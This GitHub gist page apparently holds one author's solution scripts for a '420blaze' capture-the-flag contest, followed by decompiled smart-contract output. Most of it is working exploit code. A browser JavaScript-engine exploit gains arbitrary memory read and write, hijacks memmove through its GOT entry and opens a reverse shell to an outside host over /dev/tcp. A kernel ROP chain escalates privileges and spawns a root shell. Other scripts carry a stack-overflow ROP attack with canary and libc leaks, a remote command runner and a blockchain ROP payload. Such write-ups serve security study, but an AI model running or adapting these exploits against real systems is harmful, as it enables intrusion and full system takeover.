Skip to content

Instantly share code, notes, and snippets.

@niklasb
Last active April 26, 2018 11:00
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save niklasb/4bddc9e8f32c3bd277ed26d66d488834 to your computer and use it in GitHub Desktop.
Save niklasb/4bddc9e8f32c3bd277ed26d66d488834 to your computer and use it in GitHub Desktop.
keep on blazin
function makeary() {
let ary = new Array(14);
for (let i = 0; i < 14; ++i)
ary[i] = 1337;
return ary;
}
let convert = new ArrayBuffer(8);
let float64 = new Float64Array(convert);
let uint32 = new Uint32Array(convert);
function dtoi(x) {
float64[0] = x;
return uint32[0] + uint32[1]*0x100000000;
}
function itod(x) {
uint32[0] = x % 0x100000000;
uint32[1] = x / 0x100000000;
return float64[0];
}
function pwn() {
for (let i = 0; i < 300; ++i)
makeary();
let a = makeary();
let b = new Uint8Array(0x10);
a.blaze();
let old_data = a[21];
let set_addr = (where) => { a[21] = itod(where); }
let write = (where, what) => {
set_addr(where);
for (let i = 0; i < 8; ++i) {
b[i] = what % 0x100;
what /= 0x100;
}
}
let read = (where) => {
set_addr(where);
let res = 0;
for (let i = 7; i >= 0; --i)
res = res*0x100 + b[i];
return res;
}
let leak = (obj) => {
a[22] = obj;
res = 0;
for (let i = 5; i >= 0; --i)
res = res*0x100 + b[i];
return res;
}
let restore = () => {
a[21] = old_data;
for (let i = 0; i < 0x10; ++i)
b[i] = 0;
}
let addr = dtoi(a[21]);
let xul = read(read(leak(Math.max)));
xul -= 0x7fdf920;
let memmove_got = xul + 0x818b220;
let sscanf_got = xul + 0x818c1e0;
let system = read(sscanf_got) - 0x6a890 + 0x45390; // ubu
var cmd = "bash -c 'sh > /dev/tcp/kitctf.de/4444 <&1'; ";
var target = new Uint8Array(100);
for (var i = 0; i < cmd.length; i++)
target[i] = cmd.charCodeAt(i);
target[cmd.length] = 0;
memmove_backup = read(memmove_got);
write(memmove_got, system);
target.copyWithin(0, 1);
write(memove_got, memove_backup);
restore();
}
setTimeout(pwn, 500);
#!/usr/bin/env python2
import sys, socket
import numpy as np
import matplotlib.pyplot as plt
from scipy.io import wavfile
from scipy.fftpack import fft, ifft
A, B = 128, 192 # first / last peek in histogram
y = 28.5 # peek height
rate = 32768
width = 31.25 / 1000 # byte width in seconds
def make_spectrum(bits):
spectrum = np.zeros(1024, dtype=np.float32)
for i in range(9):
spectrum[(B - A) / 8 * i + A] = (bits & 1) * y
bits >>= 1
return spectrum
def make_samples(bits):
x = ifft(make_spectrum(bits), n=int(rate*width))
x = np.array(np.real(x)*2**15., dtype=np.int16)
return x
def create_request(cmd, filename):
data = '\xff%s\xff' % cmd
samples = [make_samples((ord(c) << 1) | 1) for c in data]
wavfile.write(filename, rate, np.concatenate(samples))
def parse_byte(spectrum):
res = 0
for i in range(8, 0, -1):
res <<= 1
if spectrum[(B - A) / 8 * i + A] > y / 2:
res |= 1
return res
def parse_response(filename):
_, data = wavfile.read(filename)
samples_per_byte = int(rate*width)
res = ''
for i in range(0, len(data.T), samples_per_byte):
part = data.T[i:i + samples_per_byte]
normalized = [ele/2**15. for ele in part]
try:
spectrum = fft(normalized, n=1024)
except:
break
res += chr(parse_byte(spectrum))
return res
if __name__ == '__main__':
# cmd = 'ls home'
# cmd = 'grep blaze -r home/r2dbag'
cmd = 'cat home/r2dbag/r2-dflag_is_here.txt'
if len(sys.argv) > 1:
cmd = sys.argv[1]
create_request('EXEC ' + cmd, 'req.wav')
s = socket.create_connection(('r2dbag.420blaze.in', 420))
s.sendall(open('req.wav').read())
s.shutdown(socket.SHUT_WR)
with open('resp.wav', 'w') as f:
while True:
chunk = s.recv(2**16)
if not chunk:
break
f.write(chunk)
print parse_response('resp.wav')
#include <iostream>
#include <cstdlib>
#include <cstring>
#include <cstdio>
#include <cassert>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
using namespace std;
uint64_t user_cs, user_ss, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}
void shell(void) {
system("/bin/sh");
}
int main() {
int fd = open("/dev/blazeme", O_RDWR);
if (fd < 0) {
perror("open");
exit(EXIT_FAILURE);
}
void* temp_stack;
temp_stack = mmap((void*)0x50000000, 0x1000000,
PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE| MAP_ANONYMOUS, 0, 0);
assert((uintptr_t)temp_stack == 0x50000000);
char* x = (char*)mmap((void*)0x41414000, 0x1000, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE| MAP_ANONYMOUS, -1, 0);
assert((uintptr_t)x == 0x41414000);
save_state();
uint64_t rop2[] = {
0xffffffff811664cc, // pop rdi ;ret
0,
0xffffffff81063b50, // prepare_kernel_cred
0xffffffff81148e10, // pop rdx ; ret
0xffffffff81063964, // commit_creds + 2 insn
0xffffffff81085026, // mov rdi, rax ; call rdx
0xffffffff8103b904, // swapgs ; pop rbp ; ret
0xdeadbeef,
0xFFFFFFFF81113481, // iretq
(uint64_t)&shell,
user_cs,
user_rflags,
(uint64_t)temp_stack + 0x500000,
user_ss,
};
memcpy(x+0x140, rop2, sizeof(rop2));
char pattern[65] =
"AABACADAEAyyyyyyyyxxxxxxxxNAOAPAQARASATAUAVAWAXAYAZAaAbAcAdAeAfA";
uint64_t rop[] = {
0xbadbabebadbabeba, // value of rbp
0xffffffff8113dd13, // pop rax ; ret
0xffffffff41414140,
0xffffffff81012ac4, // xchg eax, esp ; ret
};
assert(10+sizeof(rop) <= 64);
memcpy(pattern+10, rop, sizeof(rop));
for (;;)
write(fd, pattern, 64);
}
#!/usr/bin/env python2
# https://github.com/niklasb/ctf-tools
from pwnlib.tools import *
connect()
ru('(y/N) ')
sendln('y')
sendln('0 0')
ru('(y/N) ')
sendln('y'+'a'*1000)
ru('\n')
readn(8)
cookie = readn(8)
info('Cookie: ' + cookie.encode('hex'))
addr = u64(readn(8))
info('leak: %p', addr)
addr = u64(readn(8))
info('leak: %p', addr)
base = addr - 0xc43
info('base: %p', base)
if (base & 0xff000000000000) == 0x0a000000000000:
base &= 0xffffffffffff
assert base <= 0xffffffffffff
buf = base + 0x202800
rop = ''
rop += p64(base + 0x1113) # pop rdi
rop += p64(base + 0x201f78) # puts @ got
rop += p64(base + 0x998) # puts
rop += p64(base + 0x1113) # pop rdi
rop += p64(buf)
rop += p64(base + 0x9e8) # gets
rop += p64(base + 0xa70) # pop rbp
rop += p64(buf)
rop += p64(base + 0xbfc) # leave
assert not '\n' in rop
sendln('0 0')
ru('(y/N) ')
sendln('y')
for i in range(32):
if i > 0:
ru('Waldone!\n')
x = ru('\n\n').strip().splitlines()
height = len(x)
width = len(x[0])
print width, height
found=False
for i in range(height):
for j in range(width):
if x[i][j] == 'W':
found=True
break
if found:
break
sendln('%d %d'%(i, j))
ru('name: ')
if LOCAL:
offset_system = 0x0000000000047dc0
offset_puts = 0x0000000000078460
offset_str_bin_sh = 0x1a3ee0
else:
offset_puts = 0x000000000006f690
offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
sendln('a'*0x48 + cookie + p64(buf) + rop)
ru('Congratz')
ru('!\n')
addr = u64(readn(7)[:6]+'\0\0')
libc = addr - offset_puts
info('libc @ %p', libc)
rop2 = ''
rop2 += p64(base + 0x1113)
rop2 += p64(libc + offset_str_bin_sh)
rop2 += p64(libc + offset_system)
assert not '\n' in rop2
sendln('a'*8 + rop2)
interact()
#!/usr/bin/env python2
'''
I deployed Pwn.sol at
0x5f84321768ceb23fc729ffc36516268fb1abc451
on the block chain:
pragma solidity ^0.4.10;
contract Pwn {
bytes public payload;
event Boom(bytes x);
function set(bytes s) public {
payload = s;
}
function boom() public {
emit Boom(payload);
}
function fake() pure public returns (uint256) {
return 1337;
}
function get() view public returns (bytes) {
return payload;
}
}
I patched it so that the emitted event has the correct topic, and fake has the hash
0x759014f0. The latter is needed because the program will try to call the 0x759014f0
function and crash if it doesn't exist:
code = code.replace(
'f0525cb4f38ada4b00a047310c294a112a153e48e11a55b7f4b2fe1024405383',
'8b4a1da1e9d54b88ebafc9ce4677a2ca4196693b1c8500b9d1fc58d96553c5fd')
code = code.replace('bea293af','759014f0')
Then run
$ ./solve.py upgrade
$ for i in `seq 1 10`; do ./solve.py boom; done
and then:
./solve.py search [block number of upgrade contract transaction]
It will contain the flag message.
'''
import sys
import requests
import json
import time
from pwnlib.tools import *
secret = '420blaze69everysingle1337day'
wallet1='0x8d07b446da7d53009af7558d43f24d62407f00c9'
contract='0xc991c59a908909400374153bbf4b33653a230dcf'
new_contract = '0x5f84321768ceb23fc729ffc36516268fb1abc451'
def doit(name, params):
data = json.dumps({'jsonrpc':'2.0', 'method': name,
'params':params, 'id':420})
r = requests.post('http://localhost:8545/',
headers={'Content-Type':'application/json'},
data=data)
res = json.loads(r.text)
if 'result' not in res:
print res
exit(1)
return res['result']
def sha3(data):
data = '0x'+data.encode('hex')
return doit('web3_sha3', [data])[2:].decode('hex')
def get_tx(tx):
while True:
time.sleep(0.1)
res = doit('eth_getTransactionByHash', [tx])
if res['blockNumber'] is not None:
return res
def call(data, wait=True, contract=contract):
tx = doit('eth_sendTransaction', [{
'from':wallet1,
'to':contract,
#'gasPrice':"0x430E23400",
'gas':"0xf4240",
'data':data}])
return tx
if sys.argv[1] == 'upgrade':
data = '0x6b574199'+sha3(secret).encode('hex')
data += '0'*(2+2*0x30-len(data))
data += new_contract[2:]
tx1 = call(data)
print get_tx(tx1)
elif sys.argv[1] == 'boom':
payload = ''
payload += 'A'*40
payload += p64(0x00401528) # pop rdi ; ret
payload += p64(0x402353) # 'flag2'
payload += p64(0x401C96) # send_flag
payload += p64(0xdeadbee0)
assert len(payload) <= 0xff
data = '0x0399321e000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000'
data += chr(len(payload)).encode('hex')
data += payload.encode('hex')
tx1 = call(data, contract=new_contract)
tx2 = call('0xa169ce09', contract=new_contract)
print get_tx(tx1)
print get_tx(tx2)
elif sys.argv[1] == 'search':
if '0x' in sys.argv[2]:
block = int(sys.argv[2],16)
else:
block = int(sys.argv[2])
for block in range(block, 0x10000):
if block % 0x100 == 0:
print '@ block 0x%x' % block
r = requests.post('http://localhost:8545/',
headers={'Content-Type':'application/json'},
data='{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x%x", true],"id":1}'%block)
resp = json.loads( r.content)
x = resp['result']
if x is not None and x['transactions']:
for tx in x['transactions']:
print block, tx['input']
sys.stdout.flush()
else:
assert 0
// This is the output of _Ivan_'s EVM decompiler. That thing
// is fucking amazing.
function constructor() public { // id: 00000
MEM[0x40..+0x20] = 0x60;
v0 = STORAGE(0);
STORAGE(0) = (v0 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00) | 0;
if (msg.value) {
revert();
}
MEM[0..+0x1df5] = CODE[0x38..+0x1df5];
return MEM[0..+0x1df5];
}
- second run on runtime code -
functions:
5b61291c 00093 function fct_5b61291c()
64d98f6e 0009d function isSolved() constant view returns (bool)
6c54fcef 000ca function fct_6c54fcef()
7430306c 00127 function fct_7430306c()
b220f73c 0013c function fct_b220f73c()
b4eff690 00199 function checkFlag(bytes input) payable payable
d6385778 001eb function fct_d6385778()
f605fa57 00248 function fct_f605fa57()
runtime code detected
functions: 8
blocks: 207
function fct_5b61291c() public { // id: 00093
revert();
}
function isSolved() public constant view returns (bool) { // id: 0009d
if (msg.value) {
revert();
}
s1 = fct_0029f(0xb0);
return s1;
}
function fct_0029f(s0) private returns (r0) { // id: 0029f
v7 = STORAGE(0);
return v7 & 0xff; // to: s0
}
function fct_6c54fcef() public { // id: 000ca
if (msg.value) {
revert();
}
v2 = MEM[0x40..+0x20];
MEM[0x40..+0x20] = v2 + ((msg.data[msg.data[4..+0x20] + 4..+0x20] + 0x1f) / 0x20) * 0x20 + 0x20;
MEM[v2..+0x20] = msg.data[msg.data[4..+0x20] + 4..+0x20];
MEM[v2 + 0x20..+msg.data[msg.data[4..+0x20] + 4..+0x20]] = msg.data[msg.data[4..+0x20] + 0x24..+msg.data[msg.data[4..+0x20] + 4..+0x20]];
fct_002b5(0x125, v2);
return;
}
function fct_01dbd(s0) private { // id: 01dbd
return; // to: s0
}
function fct_002b5(s0, s1) private { // id: 002b5
if (block.timestamp != 0x5ad92d80) {
invalid;
}
fct_01dbd(0x2d0);
v8 = MEM[s1..+0x20];
if (v8 <= 0x12) {
invalid;
}
v9 = MEM[s1 + 0x32..+0x20];
v10 = MEM[s1..+0x20];
s2 = ((v9 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) / 0x100000000000000000000000000000000000000000000000000000000000000;
s3 = 8;
if (v10 <= 0x13) {
invalid;
}
v11 = MEM[s1 + 0x33..+0x20];
v12 = MEM[s1..+0x20];
s2 += (2**s3) * (((v11 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) / 0x100000000000000000000000000000000000000000000000000000000000000);
s3 = 0x10;
if (v12 <= 0x14) {
invalid;
}
v13 = MEM[s1 + 0x34..+0x20];
v14 = MEM[s1..+0x20];
s2 += (2**s3) * (((v13 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) / 0x100000000000000000000000000000000000000000000000000000000000000);
s3 = 0x18;
if (v14 <= 0x15) {
invalid;
}
v15 = MEM[s1 + 0x35..+0x20];
v16 = MEM[s1..+0x20];
s2 += (2**s3) * (((v15 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) / 0x100000000000000000000000000000000000000000000000000000000000000);
s3 = 0x20;
if (v16 <= 0x16) {
invalid;
}
v17 = MEM[s1 + 0x36..+0x20];
v18 = MEM[s1..+0x20];
s2 += (2**s3) * (((v17 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) / 0x100000000000000000000000000000000000000000000000000000000000000);
s3 = 0x28;
if (v18 <= 0x17) {
invalid;
}
v19 = MEM[s1 + 0x37..+0x20];
v20 = MEM[s1..+0x20];
s2 += (2**s3) * (((v19 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) / 0x100000000000000000000000000000000000000000000000000000000000000);
s3 = 0x30;
if (v20 <= 0x18) {
invalid;
}
v21 = MEM[s1 + 0x38..+0x20];
v22 = MEM[s1..+0x20];
s2 += (2**s3) * (((v21 / 0x100000000000000000000000000000000000000000000000000000000000000)
* 0x100000000000000000000000000000000000000000000000000000000000000)
/ 0x100000000000000000000000000000000000000000000000000000000000000);
s3 = 0x38;
if (v22 <= 0x19) {
invalid;
}
v23 = MEM[s1 + 0x39..+0x20];
s2 = (s2 + (2**s3) * (v23 / 0x100000000000000000000000000000000000000000000000000000000000000)
+ (s2 + (2**s3) * (v23 / 0x100000000000000000000000000000000000000000000000000000000000000)) * msg.gas * msg.value) * tx.gasprice;
fct_01dbd(0x71d);
if (s2 != 0x2f0c798885c9f2975b114) {
invalid;
}
return; // to: s0
}
function fct_7430306c() public { // id: 00127
if (msg.value) {
revert();
}
selfdestruct(0);
}
function fct_b220f73c() public { // id: 0013c
if (msg.value) {
revert();
}
v3 = MEM[0x40..+0x20];
MEM[0x40..+0x20] = v3 + ((msg.data[msg.data[4..+0x20] + 4..+0x20] + 0x1f) / 0x20) * 0x20 + 0x20;
MEM[v3..+0x20] = msg.data[msg.data[4..+0x20] + 4..+0x20];
MEM[v3 + 0x20..+msg.data[msg.data[4..+0x20] + 4..+0x20]] = msg.data[msg.data[4..+0x20] + 0x24..+msg.data[msg.data[4..+0x20] + 4..+0x20]];
fct_0073d(0x197, v3);
return;
}
function fct_0073d(s0, s1) private { // id: 0073d
v24 = MEM[s1..+0x20];
s2 = 0x7500000000000000000000000000000000000000000000000000000000000000;
if (v24 <= 0xd) {
invalid;
}
v25 = MEM[s1 + 0x2d..+0x20];
if ((((v25 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) {
invalid;
}
fct_01dbd(0x7ed);
v26 = MEM[s1..+0x20];
s2 = 0xa8c8af687609bf404c202ac1378e10cd19421e72c0a161edc56b53752326592b;
s4 = 2;
if (v26 <= 0xe) {
invalid;
}
v27 = MEM[s1 + 0x2e..+0x20];
v28 = MEM[s1..+0x20];
s5 = (v27 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v28 <= 0xf) {
invalid;
}
v29 = MEM[s1 + 0x2f..+0x20];
v30 = MEM[s1..+0x20];
s6 = (v29 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v30 <= 0x10) {
invalid;
}
v31 = MEM[s1 + 0x30..+0x20];
v32 = MEM[s1..+0x20];
s7 = (v31 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v32 <= 0x11) {
invalid;
}
v33 = MEM[s1 + 0x31..+0x20];
v34 = MEM[0x40..+0x20];
MEM[v34..+0x20] = s5 & 0xff00000000000000000000000000000000000000000000000000000000000000; // 0xe
MEM[v34 + 1..+0x20] = s6 & 0xff00000000000000000000000000000000000000000000000000000000000000; // 0xf
MEM[v34 + 2..+0x20] = s7 & 0xff00000000000000000000000000000000000000000000000000000000000000; // 0x10
MEM[v34 + 3..+0x20] = ((v33 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000; // 0x11
v35 = MEM[0x40..+0x20];
v36 = CALL(msg.gas, s4, 0, v35, (v34 + 4) - v35, v35, 0x20);
if (!v36) {
revert();
}
v37 = MEM[0x40..+0x20];
v38 = MEM[v37..+0x20];
if ((v38 + 1) != s2) {
invalid;
}
fct_01dbd(0xae6);
v39 = MEM[0x40..+0x20];
MEM[v39..+0x20] = 0x6c54fcef00000000000000000000000000000000000000000000000000000000;
MEM[v39 + 4..+0x20] = (v39 + 0x24) - (v39 + 4);
v40 = MEM[s1..+0x20];
MEM[v39 + 0x24..+0x20] = v40;
v41 = MEM[s1..+0x20];
s13 = 0;
while (s13 < v41) {
v42 = MEM[s1 + s13 + 0x20..+0x20];
MEM[v39 + s13 + 0x44..+0x20] = v42;
s13 += 0x20;
}
s7 = v41 + v39 + 0x44;
s8 = v41 & 0x1f;
if (v41 & 0x1f) {
v43 = MEM[s7 - s8..+0x20];
MEM[s7 - s8..+0x20] = ~(0x100**(0x20 - s8) - 1) & v43;
s7 = (s7 - s8) + 0x20;
}
v44 = MEM[0x40..+0x20];
s7 -= v44;
if (!EXTCODESIZE(address(this))) {
revert();
}
v45 = CALL(msg.gas, address(this), 0, v44, s7, v44, 0);
if (!v45) {
revert();
}
return; // to: s0
}
function checkFlag(bytes input) public payable payable { // id: 00199
v4 = MEM[0x40..+0x20];
MEM[0x40..+0x20] = v4 + ((msg.data[msg.data[4..+0x20] + 4..+0x20] + 0x1f) / 0x20) * 0x20 + 0x20;
MEM[v4..+0x20] = msg.data[msg.data[4..+0x20] + 4..+0x20];
MEM[v4 + 0x20..+msg.data[msg.data[4..+0x20] + 4..+0x20]] = msg.data[msg.data[4..+0x20] + 0x24..+msg.data[msg.data[4..+0x20] + 4..+0x20]];
fct_00bcc(0x1e9, v4);
return;
}
function fct_00bcc(s0, s1) private { // id: 00bcc
v46 = MEM[s1..+0x20];
s2 = 0x6600000000000000000000000000000000000000000000000000000000000000;
if (v46 <= 0) {
invalid;
}
v47 = MEM[s1 + 0x20..+0x20];
if ((((v47 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) {
invalid;
}
fct_01dbd(0xc7c);
v48 = MEM[s1..+0x20];
s2 = 0x6c00000000000000000000000000000000000000000000000000000000000000;
if (v48 <= 1) {
invalid;
}
v49 = MEM[s1 + 0x21..+0x20];
if ((((v49 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) {
invalid;
}
v50 = MEM[s1..+0x20];
s2 = 0x6100000000000000000000000000000000000000000000000000000000000000;
if (v50 <= 2) {
invalid;
}
v51 = MEM[s1 + 0x22..+0x20];
if ((((v51 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) {
invalid;
}
fct_01dbd(0xdd4);
v52 = MEM[s1..+0x20];
s2 = 0x6700000000000000000000000000000000000000000000000000000000000000;
if (v52 <= 3) {
invalid;
}
v53 = MEM[s1 + 0x23..+0x20];
if ((((v53 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) {
invalid;
}
fct_01dbd(0xe84);
v54 = MEM[s1..+0x20];
s2 = 0x7b00000000000000000000000000000000000000000000000000000000000000;
if (v54 <= 4) {
invalid;
}
v55 = MEM[s1 + 0x24..+0x20];
if ((((v55 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) {
invalid;
}
v56 = MEM[s1..+0x20];
s2 = 0x7d00000000000000000000000000000000000000000000000000000000000000;
if (v56 <= 0x1f) {
invalid;
}
v57 = MEM[s1 + 0x3f..+0x20];
if ((((v57 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) {
selfdestruct(0);
}
fct_01dbd(0xfdc);
v58 = MEM[0x40..+0x20];
MEM[v58..+0x20] = 0xf605fa5700000000000000000000000000000000000000000000000000000000;
MEM[v58 + 4..+0x20] = (v58 + 0x24) - (v58 + 4);
v59 = MEM[s1..+0x20];
MEM[v58 + 0x24..+0x20] = v59;
v60 = MEM[s1..+0x20];
s14 = 0;
while (s14 < v60) {
v61 = MEM[s1 + s14 + 0x20..+0x20];
MEM[v58 + s14 + 0x44..+0x20] = v61;
s14 += 0x20;
}
s8 = v60 + v58 + 0x44;
s9 = v60 & 0x1f;
if (v60 & 0x1f) {
v62 = MEM[s8 - s9..+0x20];
MEM[s8 - s9..+0x20] = ~(0x100**(0x20 - s9) - 1) & v62;
s8 = (s8 - s9) + 0x20;
}
v63 = MEM[0x40..+0x20];
s10 = msg.value;
s8 -= v63;
if (!EXTCODESIZE(address(this))) {
revert();
}
v64 = CALL(msg.gas, address(this), s10, v63, s8, v63, 0);
if (!v64) {
revert();
}
fct_01dbd(0x10c8);
v65 = MEM[s1..+0x20];
s2 = 0x7300000000000000000000000000000000000000000000000000000000000000;
if (v65 <= 0x1e) {
invalid;
}
v66 = MEM[s1 + 0x3e..+0x20];
if ((((v66 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000) != s2) {
invalid;
}
fct_01dbd(0x1178);
v67 = STORAGE(0);
STORAGE(0) = (v67 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00) | 1;
return; // to: s0
}
function fct_d6385778() public { // id: 001eb
if (msg.value) {
revert();
}
v5 = MEM[0x40..+0x20];
MEM[0x40..+0x20] = v5 + ((msg.data[msg.data[4..+0x20] + 4..+0x20] + 0x1f) / 0x20) * 0x20 + 0x20;
MEM[v5..+0x20] = msg.data[msg.data[4..+0x20] + 4..+0x20];
MEM[v5 + 0x20..+msg.data[msg.data[4..+0x20] + 4..+0x20]] = msg.data[msg.data[4..+0x20] + 0x24..+msg.data[msg.data[4..+0x20] + 4..+0x20]];
fct_01195(0x246, v5);
return;
}
function fct_01195(s0, s1) private { // id: 01195
if (block.number != 0x1a4) {
invalid;
}
fct_01dbd(0x11b2);
v68 = MEM[s1..+0x20];
if (v68 <= 5) {
invalid;
}
v69 = MEM[s1 + 0x25..+0x20];
v70 = MEM[s1..+0x20];
s4 = (v69 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v70 <= 6) {
invalid;
}
v71 = MEM[s1 + 0x26..+0x20];
v72 = MEM[s1..+0x20];
s5 = (v71 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v72 <= 7) {
invalid;
}
v73 = MEM[s1 + 0x27..+0x20];
v74 = MEM[s1..+0x20];
s6 = (v73 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v74 <= 8) {
invalid;
}
v75 = MEM[s1 + 0x28..+0x20];
v76 = MEM[s1..+0x20];
s7 = (v75 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v76 <= 9) {
invalid;
}
v77 = MEM[s1 + 0x29..+0x20];
v78 = MEM[s1..+0x20];
s8 = (v77 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v78 <= 0xa) {
invalid;
}
v79 = MEM[s1 + 0x2a..+0x20];
v80 = MEM[s1..+0x20];
s9 = (v79 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v80 <= 0xb) {
invalid;
}
v81 = MEM[s1 + 0x2b..+0x20];
v82 = MEM[s1..+0x20];
s10 = (v81 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v82 <= 0xc) {
invalid;
}
v83 = MEM[s1 + 0x2c..+0x20];
v84 = MEM[0x40..+0x20];
MEM[v84..+0x20] = s4 & 0xff00000000000000000000000000000000000000000000000000000000000000;
MEM[v84 + 1..+0x20] = s5 & 0xff00000000000000000000000000000000000000000000000000000000000000;
MEM[v84 + 2..+0x20] = s6 & 0xff00000000000000000000000000000000000000000000000000000000000000;
MEM[v84 + 3..+0x20] = s7 & 0xff00000000000000000000000000000000000000000000000000000000000000;
MEM[v84 + 4..+0x20] = s8 & 0xff00000000000000000000000000000000000000000000000000000000000000;
MEM[v84 + 5..+0x20] = s9 & 0xff00000000000000000000000000000000000000000000000000000000000000;
MEM[v84 + 6..+0x20] = s10 & 0xff00000000000000000000000000000000000000000000000000000000000000;
MEM[v84 + 7..+0x20] = ((v83 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000;
v85 = MEM[0x40..+0x20];
v86 = SHA3(MEM[v85..+(v84 + 8) - v85]);
s4 = v86 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
s5 = block.number;
s6 = 0x74f794a249c48cbd04;
if (!block.number) {
invalid;
}
v87 = MEM[0x40..+0x20];
MEM[v87..+0x20] = ((s6 / s5) * 0x1000000000000000000000000000000000000000000000000) & 0xffffffffffffffff000000000000000000000000000000000000000000000000;
v88 = MEM[0x40..+0x20];
v89 = SHA3(MEM[v88..+(v87 + 8) - v88]);
if ((v89 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) != s4) {
invalid;
}
fct_01dbd(0x1781);
v90 = MEM[0x40..+0x20];
MEM[v90..+0x20] = 0xb220f73c00000000000000000000000000000000000000000000000000000000;
MEM[v90 + 4..+0x20] = (v90 + 0x24) - (v90 + 4);
v91 = MEM[s1..+0x20];
MEM[v90 + 0x24..+0x20] = v91;
v92 = MEM[s1..+0x20];
s15 = 0;
while (s15 < v92) {
v93 = MEM[s1 + s15 + 0x20..+0x20];
MEM[v90 + s15 + 0x44..+0x20] = v93;
s15 += 0x20;
}
s9 = v92 + v90 + 0x44;
s10 = v92 & 0x1f;
if (v92 & 0x1f) {
v94 = MEM[s9 - s10..+0x20];
MEM[s9 - s10..+0x20] = ~(0x100**(0x20 - s10) - 1) & v94;
s9 = (s9 - s10) + 0x20;
}
v95 = MEM[0x40..+0x20];
s9 -= v95;
if (!EXTCODESIZE(address(this))) {
revert();
}
v96 = CALL(msg.gas, address(this), 0, v95, s9, v95, 0);
if (!v96) {
revert();
}
return; // to: s0
}
function fct_f605fa57() public { // id: 00248
v6 = MEM[0x40..+0x20];
MEM[0x40..+0x20] = v6 + ((msg.data[msg.data[4..+0x20] + 4..+0x20] + 0x1f) / 0x20) * 0x20 + 0x20;
MEM[v6..+0x20] = msg.data[msg.data[4..+0x20] + 4..+0x20];
MEM[v6 + 0x20..+msg.data[msg.data[4..+0x20] + 4..+0x20]] = msg.data[msg.data[4..+0x20] + 0x24..+msg.data[msg.data[4..+0x20] + 4..+0x20]];
fct_01869(0x298, v6);
return;
}
function fct_01869(s0, s1) private { // id: 01869
if (msg.value != 0x2a) {
selfdestruct(0);
}
fct_01dbd(0x1884);
if (tx.gasprice != 0x66a44) {
invalid;
}
fct_01dbd(0x189c);
v97 = MEM[s1..+0x20];
if (v97 <= 0x1a) {
invalid;
}
v98 = MEM[s1 + 0x3a..+0x20];
v99 = MEM[s1..+0x20];
s5 = (v98 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000;
if (v99 <= 0x1b) {
invalid;
}
